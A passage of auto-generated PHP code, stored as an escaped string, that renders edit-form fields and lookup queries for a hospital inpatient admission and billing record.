\"\");\n\t\t\t}\n\t\t\t$sSqlWrk = \"SELECT `KDDOKTER`, `NAMADOKTER` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld`, '' AS `SelectFilterFld`, '' AS `SelectFilterFld2`, '' AS `SelectFilterFld3`, '' AS `SelectFilterFld4` FROM `m_dokter`\";\n\t\t\t$sWhereWrk = \"\";\n\t\t\t$this->dokterpengirim->LookupFilters = array();\n\t\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t\t$this->Lookup_Selecting($this->dokterpengirim, $sWhereWrk); // Call Lookup selecting\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\t$arwrk = ($rswrk) ? $rswrk->GetRows() : array();\n\t\t\tif ($rswrk) $rswrk->Close();\n\t\t\t$this->dokterpengirim->EditValue = $arwrk;\n\n\t\t\t// statusbayar\n\t\t\t$this->statusbayar->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->statusbayar->EditCustomAttributes = \"\";\n\t\t\tif (trim(strval($this->statusbayar->CurrentValue)) == \"\") {\n\t\t\t\t$sFilterWrk = \"0=1\";\n\t\t\t} else {\n\t\t\t\t$sFilterWrk = \"`KODE`\" . ew_SearchString(\"=\", $this->statusbayar->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t\t}\n\t\t\t$sSqlWrk = \"SELECT `KODE`, `NAMA` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld`, '' AS `SelectFilterFld`, '' AS `SelectFilterFld2`, '' AS `SelectFilterFld3`, '' AS `SelectFilterFld4` FROM `m_carabayar`\";\n\t\t\t$sWhereWrk = \"\";\n\t\t\t$this->statusbayar->LookupFilters = array();\n\t\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t\t$this->Lookup_Selecting($this->statusbayar, $sWhereWrk); // Call Lookup selecting\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\t$arwrk = ($rswrk) ? $rswrk->GetRows() : array();\n\t\t\tif ($rswrk) $rswrk->Close();\n\t\t\t$this->statusbayar->EditValue = $arwrk;\n\n\t\t\t// kirimdari\n\t\t\t$this->kirimdari->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->kirimdari->EditCustomAttributes = \"\";\n\t\t\t$this->kirimdari->EditValue = ew_HtmlEncode($this->kirimdari->CurrentValue);\n\t\t\tif (strval($this->kirimdari->CurrentValue) <> \"\") {\n\t\t\t\t$sFilterWrk = \"`kode`\" . ew_SearchString(\"=\", $this->kirimdari->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t\t$sSqlWrk = \"SELECT `kode`, `nama` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `m_poly`\";\n\t\t\t$sWhereWrk = \"\";\n\t\t\t$this->kirimdari->LookupFilters = array();\n\t\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t\t$this->Lookup_Selecting($this->kirimdari, $sWhereWrk); // Call Lookup selecting\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t\t$arwrk = array();\n\t\t\t\t\t$arwrk[1] = ew_HtmlEncode($rswrk->fields('DispFld'));\n\t\t\t\t\t$this->kirimdari->EditValue = $this->kirimdari->DisplayValue($arwrk);\n\t\t\t\t\t$rswrk->Close();\n\t\t\t\t} else {\n\t\t\t\t\t$this->kirimdari->EditValue = ew_HtmlEncode($this->kirimdari->CurrentValue);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->kirimdari->EditValue = NULL;\n\t\t\t}\n\t\t\t$this->kirimdari->PlaceHolder = ew_RemoveHtml($this->kirimdari->FldCaption());\n\n\t\t\t// keluargadekat\n\t\t\t$this->keluargadekat->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->keluargadekat->EditCustomAttributes = \"\";\n\t\t\t$this->keluargadekat->EditValue = ew_HtmlEncode($this->keluargadekat->CurrentValue);\n\t\t\t$this->keluargadekat->PlaceHolder = ew_RemoveHtml($this->keluargadekat->FldCaption());\n\n\t\t\t// panggungjawab\n\t\t\t$this->panggungjawab->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->panggungjawab->EditCustomAttributes = \"\";\n\t\t\t$this->panggungjawab->EditValue = ew_HtmlEncode($this->panggungjawab->CurrentValue);\n\t\t\t$this->panggungjawab->PlaceHolder = ew_RemoveHtml($this->panggungjawab->FldCaption());\n\n\t\t\t// masukrs\n\t\t\t$this->masukrs->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->masukrs->EditCustomAttributes = \"\";\n\t\t\t$this->masukrs->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->masukrs->CurrentValue, 11));\n\t\t\t$this->masukrs->PlaceHolder = ew_RemoveHtml($this->masukrs->FldCaption());\n\n\t\t\t// noruang\n\t\t\t$this->noruang->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->noruang->EditCustomAttributes = \"\";\n\t\t\tif (trim(strval($this->noruang->CurrentValue)) == \"\") {\n\t\t\t\t$sFilterWrk = \"0=1\";\n\t\t\t} else {\n\t\t\t\t$sFilterWrk = \"`no`\" . ew_SearchString(\"=\", $this->noruang->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t\t}\n\t\t\t$sSqlWrk = \"SELECT `no`, `nama` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld`, '' AS `SelectFilterFld`, '' AS `SelectFilterFld2`, '' AS `SelectFilterFld3`, '' AS `SelectFilterFld4` FROM `m_ruang`\";\n\t\t\t$sWhereWrk = \"\";\n\t\t\t$this->noruang->LookupFilters = array();\n\t\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t\t$this->Lookup_Selecting($this->noruang, $sWhereWrk); // Call Lookup selecting\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\t$arwrk = ($rswrk) ? $rswrk->GetRows() : array();\n\t\t\tif ($rswrk) $rswrk->Close();\n\t\t\t$this->noruang->EditValue = $arwrk;\n\n\t\t\t// tempat_tidur_id\n\t\t\t$this->tempat_tidur_id->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->tempat_tidur_id->EditCustomAttributes = \"\";\n\t\t\tif (trim(strval($this->tempat_tidur_id->CurrentValue)) == \"\") {\n\t\t\t\t$sFilterWrk = \"0=1\";\n\t\t\t} else {\n\t\t\t\t$sFilterWrk = \"`id`\" . ew_SearchString(\"=\", $this->tempat_tidur_id->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t\t}\n\t\t\t$sSqlWrk = \"SELECT `id`, `no_tt` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld`, `idxruang` AS `SelectFilterFld`, '' AS `SelectFilterFld2`, '' AS `SelectFilterFld3`, '' AS `SelectFilterFld4` FROM `m_detail_tempat_tidur`\";\n\t\t\t$sWhereWrk = \"\";\n\t\t\t$this->tempat_tidur_id->LookupFilters = array();\n\t\t\t$lookuptblfilter = \"isnull(`KETERANGAN`)\";\n\t\t\tew_AddFilter($sWhereWrk, $lookuptblfilter);\n\t\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t\t$this->Lookup_Selecting($this->tempat_tidur_id, $sWhereWrk); // Call Lookup selecting\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\t$arwrk = ($rswrk) ? $rswrk->GetRows() : array();\n\t\t\tif ($rswrk) $rswrk->Close();\n\t\t\t$this->tempat_tidur_id->EditValue = $arwrk;\n\n\t\t\t// nott\n\t\t\t$this->nott->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->nott->EditCustomAttributes = \"\";\n\t\t\t$this->nott->EditValue = ew_HtmlEncode($this->nott->CurrentValue);\n\t\t\t$this->nott->PlaceHolder = ew_RemoveHtml($this->nott->FldCaption());\n\n\t\t\t// deposit\n\t\t\t$this->deposit->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->deposit->EditCustomAttributes = \"\";\n\t\t\t$this->deposit->EditValue = ew_HtmlEncode($this->deposit->CurrentValue);\n\t\t\t$this->deposit->PlaceHolder = ew_RemoveHtml($this->deposit->FldCaption());\n\n\t\t\t// keluarrs\n\t\t\t$this->keluarrs->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->keluarrs->EditCustomAttributes = \"\";\n\t\t\t$this->keluarrs->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->keluarrs->CurrentValue, 8));\n\t\t\t$this->keluarrs->PlaceHolder = ew_RemoveHtml($this->keluarrs->FldCaption());\n\n\t\t\t// icd_masuk\n\t\t\t$this->icd_masuk->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->icd_masuk->EditCustomAttributes = \"\";\n\t\t\t$this->icd_masuk->EditValue = ew_HtmlEncode($this->icd_masuk->CurrentValue);\n\t\t\tif (strval($this->icd_masuk->CurrentValue) <> \"\") {\n\t\t\t\t$sFilterWrk = \"`CODE`\" . ew_SearchString(\"=\", $this->icd_masuk->CurrentValue, EW_DATATYPE_STRING, \"\");\n\t\t\t$sSqlWrk = \"SELECT `CODE`, `CODE` AS `DispFld`, `STR` AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `vw_diagnosa_eklaim`\";\n\t\t\t$sWhereWrk = \"\";\n\t\t\t$this->icd_masuk->LookupFilters = array();\n\t\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t\t$this->Lookup_Selecting($this->icd_masuk, $sWhereWrk); // Call Lookup selecting\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t\t$arwrk = array();\n\t\t\t\t\t$arwrk[1] = ew_HtmlEncode($rswrk->fields('DispFld'));\n\t\t\t\t\t$arwrk[2] = ew_HtmlEncode($rswrk->fields('Disp2Fld'));\n\t\t\t\t\t$this->icd_masuk->EditValue = $this->icd_masuk->DisplayValue($arwrk);\n\t\t\t\t\t$rswrk->Close();\n\t\t\t\t} else {\n\t\t\t\t\t$this->icd_masuk->EditValue = ew_HtmlEncode($this->icd_masuk->CurrentValue);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->icd_masuk->EditValue = NULL;\n\t\t\t}\n\t\t\t$this->icd_masuk->PlaceHolder = ew_RemoveHtml($this->icd_masuk->FldCaption());\n\n\t\t\t// icd_keluar\n\t\t\t$this->icd_keluar->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->icd_keluar->EditCustomAttributes = \"\";\n\t\t\t$this->icd_keluar->EditValue = ew_HtmlEncode($this->icd_keluar->CurrentValue);\n\t\t\t$this->icd_keluar->PlaceHolder = ew_RemoveHtml($this->icd_keluar->FldCaption());\n\n\t\t\t// NIP\n\t\t\t$this->NIP->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->NIP->EditCustomAttributes = \"\";\n\t\t\t$this->NIP->EditValue = ew_HtmlEncode($this->NIP->CurrentValue);\n\t\t\t$this->NIP->PlaceHolder = ew_RemoveHtml($this->NIP->FldCaption());\n\n\t\t\t// noruang_asal\n\t\t\t$this->noruang_asal->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->noruang_asal->EditCustomAttributes = \"\";\n\t\t\t$this->noruang_asal->EditValue = ew_HtmlEncode($this->noruang_asal->CurrentValue);\n\t\t\t$this->noruang_asal->PlaceHolder = ew_RemoveHtml($this->noruang_asal->FldCaption());\n\n\t\t\t// nott_asal\n\t\t\t$this->nott_asal->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->nott_asal->EditCustomAttributes = \"\";\n\t\t\t$this->nott_asal->EditValue = ew_HtmlEncode($this->nott_asal->CurrentValue);\n\t\t\t$this->nott_asal->PlaceHolder = ew_RemoveHtml($this->nott_asal->FldCaption());\n\n\t\t\t// tgl_pindah\n\t\t\t$this->tgl_pindah->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->tgl_pindah->EditCustomAttributes = \"\";\n\t\t\t$this->tgl_pindah->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->tgl_pindah->CurrentValue, 8));\n\t\t\t$this->tgl_pindah->PlaceHolder = ew_RemoveHtml($this->tgl_pindah->FldCaption());\n\n\t\t\t// kd_rujuk\n\t\t\t$this->kd_rujuk->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->kd_rujuk->EditCustomAttributes = \"\";\n\t\t\tif (trim(strval($this->kd_rujuk->CurrentValue)) == \"\") {\n\t\t\t\t$sFilterWrk = \"0=1\";\n\t\t\t} else {\n\t\t\t\t$sFilterWrk = \"`KODE`\" . ew_SearchString(\"=\", $this->kd_rujuk->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t\t}\n\t\t\t$sSqlWrk = \"SELECT `KODE`, `NAMA` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld`, '' AS `SelectFilterFld`, '' AS `SelectFilterFld2`, '' AS `SelectFilterFld3`, '' AS `SelectFilterFld4` FROM `m_rujukan`\";\n\t\t\t$sWhereWrk = \"\";\n\t\t\t$this->kd_rujuk->LookupFilters = array();\n\t\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t\t$this->Lookup_Selecting($this->kd_rujuk, $sWhereWrk); // Call Lookup selecting\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\t$arwrk = ($rswrk) ? $rswrk->GetRows() : array();\n\t\t\tif ($rswrk) $rswrk->Close();\n\t\t\t$this->kd_rujuk->EditValue = $arwrk;\n\n\t\t\t// st_bayar\n\t\t\t$this->st_bayar->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->st_bayar->EditCustomAttributes = \"\";\n\t\t\t$this->st_bayar->EditValue = ew_HtmlEncode($this->st_bayar->CurrentValue);\n\t\t\t$this->st_bayar->PlaceHolder = ew_RemoveHtml($this->st_bayar->FldCaption());\n\n\t\t\t// dokter_penanggungjawab\n\t\t\t$this->dokter_penanggungjawab->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->dokter_penanggungjawab->EditCustomAttributes = \"\";\n\t\t\tif (trim(strval($this->dokter_penanggungjawab->CurrentValue)) == \"\") {\n\t\t\t\t$sFilterWrk = \"0=1\";\n\t\t\t} else {\n\t\t\t\t$sFilterWrk = \"`KDDOKTER`\" . ew_SearchString(\"=\", $this->dokter_penanggungjawab->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t\t}\n\t\t\t$sSqlWrk = \"SELECT `KDDOKTER`, `NAMADOKTER` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld`, '' AS `SelectFilterFld`, '' AS `SelectFilterFld2`, '' AS `SelectFilterFld3`, '' AS `SelectFilterFld4` FROM `m_dokter`\";\n\t\t\t$sWhereWrk = \"\";\n\t\t\t$this->dokter_penanggungjawab->LookupFilters = array();\n\t\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t\t$this->Lookup_Selecting($this->dokter_penanggungjawab, $sWhereWrk); // Call Lookup selecting\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\t$arwrk = ($rswrk) ? $rswrk->GetRows() : array();\n\t\t\tif ($rswrk) $rswrk->Close();\n\t\t\t$this->dokter_penanggungjawab->EditValue = $arwrk;\n\n\t\t\t// perawat\n\t\t\t$this->perawat->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->perawat->EditCustomAttributes = \"\";\n\t\t\t$this->perawat->EditValue = ew_HtmlEncode($this->perawat->CurrentValue);\n\t\t\t$this->perawat->PlaceHolder = ew_RemoveHtml($this->perawat->FldCaption());\n\n\t\t\t// KELASPERAWATAN_ID\n\t\t\t$this->KELASPERAWATAN_ID->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->KELASPERAWATAN_ID->EditCustomAttributes = \"\";\n\t\t\tif (trim(strval($this->KELASPERAWATAN_ID->CurrentValue)) == \"\") {\n\t\t\t\t$sFilterWrk = \"0=1\";\n\t\t\t} else {\n\t\t\t\t$sFilterWrk = \"`kelasperawatan_id`\" . ew_SearchString(\"=\", $this->KELASPERAWATAN_ID->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t\t}\n\t\t\t$sSqlWrk = \"SELECT `kelasperawatan_id`, `kelasperawatan` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld`, '' AS `SelectFilterFld`, '' AS `SelectFilterFld2`, '' AS `SelectFilterFld3`, '' AS `SelectFilterFld4` FROM `l_kelas_perawatan`\";\n\t\t\t$sWhereWrk = \"\";\n\t\t\t$this->KELASPERAWATAN_ID->LookupFilters = array();\n\t\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t\t$this->Lookup_Selecting($this->KELASPERAWATAN_ID, $sWhereWrk); // Call Lookup selecting\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\t$arwrk = ($rswrk) ? $rswrk->GetRows() : array();\n\t\t\tif ($rswrk) $rswrk->Close();\n\t\t\t$this->KELASPERAWATAN_ID->EditValue = $arwrk;\n\n\t\t\t// LOS\n\t\t\t$this->LOS->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->LOS->EditCustomAttributes = \"\";\n\t\t\t$this->LOS->EditValue = ew_HtmlEncode($this->LOS->CurrentValue);\n\t\t\t$this->LOS->PlaceHolder = ew_RemoveHtml($this->LOS->FldCaption());\n\n\t\t\t// TOT_TRF_TIND_DOKTER\n\t\t\t$this->TOT_TRF_TIND_DOKTER->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_TRF_TIND_DOKTER->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_TRF_TIND_DOKTER->EditValue = ew_HtmlEncode($this->TOT_TRF_TIND_DOKTER->CurrentValue);\n\t\t\t$this->TOT_TRF_TIND_DOKTER->PlaceHolder = ew_RemoveHtml($this->TOT_TRF_TIND_DOKTER->FldCaption());\n\t\t\tif (strval($this->TOT_TRF_TIND_DOKTER->EditValue) <> \"\" && is_numeric($this->TOT_TRF_TIND_DOKTER->EditValue)) $this->TOT_TRF_TIND_DOKTER->EditValue = ew_FormatNumber($this->TOT_TRF_TIND_DOKTER->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_BHP_DOKTER\n\t\t\t$this->TOT_BHP_DOKTER->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_BHP_DOKTER->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_BHP_DOKTER->EditValue = ew_HtmlEncode($this->TOT_BHP_DOKTER->CurrentValue);\n\t\t\t$this->TOT_BHP_DOKTER->PlaceHolder = ew_RemoveHtml($this->TOT_BHP_DOKTER->FldCaption());\n\t\t\tif (strval($this->TOT_BHP_DOKTER->EditValue) <> \"\" && is_numeric($this->TOT_BHP_DOKTER->EditValue)) $this->TOT_BHP_DOKTER->EditValue = ew_FormatNumber($this->TOT_BHP_DOKTER->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_TRF_PERAWAT\n\t\t\t$this->TOT_TRF_PERAWAT->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_TRF_PERAWAT->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_TRF_PERAWAT->EditValue = ew_HtmlEncode($this->TOT_TRF_PERAWAT->CurrentValue);\n\t\t\t$this->TOT_TRF_PERAWAT->PlaceHolder = ew_RemoveHtml($this->TOT_TRF_PERAWAT->FldCaption());\n\t\t\tif (strval($this->TOT_TRF_PERAWAT->EditValue) <> \"\" && is_numeric($this->TOT_TRF_PERAWAT->EditValue)) $this->TOT_TRF_PERAWAT->EditValue = ew_FormatNumber($this->TOT_TRF_PERAWAT->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_BHP_PERAWAT\n\t\t\t$this->TOT_BHP_PERAWAT->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_BHP_PERAWAT->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_BHP_PERAWAT->EditValue = ew_HtmlEncode($this->TOT_BHP_PERAWAT->CurrentValue);\n\t\t\t$this->TOT_BHP_PERAWAT->PlaceHolder = ew_RemoveHtml($this->TOT_BHP_PERAWAT->FldCaption());\n\t\t\tif (strval($this->TOT_BHP_PERAWAT->EditValue) <> \"\" && is_numeric($this->TOT_BHP_PERAWAT->EditValue)) $this->TOT_BHP_PERAWAT->EditValue = ew_FormatNumber($this->TOT_BHP_PERAWAT->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_TRF_DOKTER\n\t\t\t$this->TOT_TRF_DOKTER->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_TRF_DOKTER->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_TRF_DOKTER->EditValue = ew_HtmlEncode($this->TOT_TRF_DOKTER->CurrentValue);\n\t\t\t$this->TOT_TRF_DOKTER->PlaceHolder = ew_RemoveHtml($this->TOT_TRF_DOKTER->FldCaption());\n\t\t\tif (strval($this->TOT_TRF_DOKTER->EditValue) <> \"\" && is_numeric($this->TOT_TRF_DOKTER->EditValue)) $this->TOT_TRF_DOKTER->EditValue = ew_FormatNumber($this->TOT_TRF_DOKTER->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_BIAYA_RAD\n\t\t\t$this->TOT_BIAYA_RAD->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_BIAYA_RAD->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_RAD->EditValue = ew_HtmlEncode($this->TOT_BIAYA_RAD->CurrentValue);\n\t\t\t$this->TOT_BIAYA_RAD->PlaceHolder = ew_RemoveHtml($this->TOT_BIAYA_RAD->FldCaption());\n\t\t\tif (strval($this->TOT_BIAYA_RAD->EditValue) <> \"\" && is_numeric($this->TOT_BIAYA_RAD->EditValue)) $this->TOT_BIAYA_RAD->EditValue = ew_FormatNumber($this->TOT_BIAYA_RAD->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_BIAYA_CDRPOLI\n\t\t\t$this->TOT_BIAYA_CDRPOLI->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_BIAYA_CDRPOLI->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_CDRPOLI->EditValue = ew_HtmlEncode($this->TOT_BIAYA_CDRPOLI->CurrentValue);\n\t\t\t$this->TOT_BIAYA_CDRPOLI->PlaceHolder = ew_RemoveHtml($this->TOT_BIAYA_CDRPOLI->FldCaption());\n\t\t\tif (strval($this->TOT_BIAYA_CDRPOLI->EditValue) <> \"\" && is_numeric($this->TOT_BIAYA_CDRPOLI->EditValue)) $this->TOT_BIAYA_CDRPOLI->EditValue = ew_FormatNumber($this->TOT_BIAYA_CDRPOLI->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_BIAYA_LAB_IGD\n\t\t\t$this->TOT_BIAYA_LAB_IGD->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_BIAYA_LAB_IGD->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_LAB_IGD->EditValue = ew_HtmlEncode($this->TOT_BIAYA_LAB_IGD->CurrentValue);\n\t\t\t$this->TOT_BIAYA_LAB_IGD->PlaceHolder = ew_RemoveHtml($this->TOT_BIAYA_LAB_IGD->FldCaption());\n\t\t\tif (strval($this->TOT_BIAYA_LAB_IGD->EditValue) <> \"\" && is_numeric($this->TOT_BIAYA_LAB_IGD->EditValue)) $this->TOT_BIAYA_LAB_IGD->EditValue = ew_FormatNumber($this->TOT_BIAYA_LAB_IGD->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_BIAYA_OKSIGEN\n\t\t\t$this->TOT_BIAYA_OKSIGEN->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_BIAYA_OKSIGEN->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_OKSIGEN->EditValue = ew_HtmlEncode($this->TOT_BIAYA_OKSIGEN->CurrentValue);\n\t\t\t$this->TOT_BIAYA_OKSIGEN->PlaceHolder = ew_RemoveHtml($this->TOT_BIAYA_OKSIGEN->FldCaption());\n\t\t\tif (strval($this->TOT_BIAYA_OKSIGEN->EditValue) <> \"\" && is_numeric($this->TOT_BIAYA_OKSIGEN->EditValue)) $this->TOT_BIAYA_OKSIGEN->EditValue = ew_FormatNumber($this->TOT_BIAYA_OKSIGEN->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOTAL_BIAYA_OBAT\n\t\t\t$this->TOTAL_BIAYA_OBAT->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOTAL_BIAYA_OBAT->EditCustomAttributes = \"\";\n\t\t\t$this->TOTAL_BIAYA_OBAT->EditValue = ew_HtmlEncode($this->TOTAL_BIAYA_OBAT->CurrentValue);\n\t\t\t$this->TOTAL_BIAYA_OBAT->PlaceHolder = ew_RemoveHtml($this->TOTAL_BIAYA_OBAT->FldCaption());\n\t\t\tif (strval($this->TOTAL_BIAYA_OBAT->EditValue) <> \"\" && is_numeric($this->TOTAL_BIAYA_OBAT->EditValue)) $this->TOTAL_BIAYA_OBAT->EditValue = ew_FormatNumber($this->TOTAL_BIAYA_OBAT->EditValue, -2, -1, -2, 0);\n\n\t\t\t// LINK_SET_KELAS\n\t\t\t$this->LINK_SET_KELAS->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->LINK_SET_KELAS->EditCustomAttributes = \"\";\n\t\t\t$this->LINK_SET_KELAS->EditValue = ew_HtmlEncode($this->LINK_SET_KELAS->CurrentValue);\n\t\t\t$this->LINK_SET_KELAS->PlaceHolder = ew_RemoveHtml($this->LINK_SET_KELAS->FldCaption());\n\n\t\t\t// biaya_obat\n\t\t\t$this->biaya_obat->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->biaya_obat->EditCustomAttributes = \"\";\n\t\t\t$this->biaya_obat->EditValue = ew_HtmlEncode($this->biaya_obat->CurrentValue);\n\t\t\t$this->biaya_obat->PlaceHolder = ew_RemoveHtml($this->biaya_obat->FldCaption());\n\t\t\tif (strval($this->biaya_obat->EditValue) <> \"\" && is_numeric($this->biaya_obat->EditValue)) $this->biaya_obat->EditValue = ew_FormatNumber($this->biaya_obat->EditValue, -2, -1, -2, 0);\n\n\t\t\t// biaya_retur_obat\n\t\t\t$this->biaya_retur_obat->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->biaya_retur_obat->EditCustomAttributes = \"\";\n\t\t\t$this->biaya_retur_obat->EditValue = ew_HtmlEncode($this->biaya_retur_obat->CurrentValue);\n\t\t\t$this->biaya_retur_obat->PlaceHolder = ew_RemoveHtml($this->biaya_retur_obat->FldCaption());\n\t\t\tif (strval($this->biaya_retur_obat->EditValue) <> \"\" && is_numeric($this->biaya_retur_obat->EditValue)) $this->biaya_retur_obat->EditValue = ew_FormatNumber($this->biaya_retur_obat->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_BIAYA_GIZI\n\t\t\t$this->TOT_BIAYA_GIZI->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_BIAYA_GIZI->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_GIZI->EditValue = ew_HtmlEncode($this->TOT_BIAYA_GIZI->CurrentValue);\n\t\t\t$this->TOT_BIAYA_GIZI->PlaceHolder = ew_RemoveHtml($this->TOT_BIAYA_GIZI->FldCaption());\n\t\t\tif (strval($this->TOT_BIAYA_GIZI->EditValue) <> \"\" && is_numeric($this->TOT_BIAYA_GIZI->EditValue)) $this->TOT_BIAYA_GIZI->EditValue = ew_FormatNumber($this->TOT_BIAYA_GIZI->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_BIAYA_TMO\n\t\t\t$this->TOT_BIAYA_TMO->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_BIAYA_TMO->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_TMO->EditValue = ew_HtmlEncode($this->TOT_BIAYA_TMO->CurrentValue);\n\t\t\t$this->TOT_BIAYA_TMO->PlaceHolder = ew_RemoveHtml($this->TOT_BIAYA_TMO->FldCaption());\n\t\t\tif (strval($this->TOT_BIAYA_TMO->EditValue) <> \"\" && is_numeric($this->TOT_BIAYA_TMO->EditValue)) $this->TOT_BIAYA_TMO->EditValue = ew_FormatNumber($this->TOT_BIAYA_TMO->EditValue, -2, -1, -2, 0);\n\n\t\t\t// 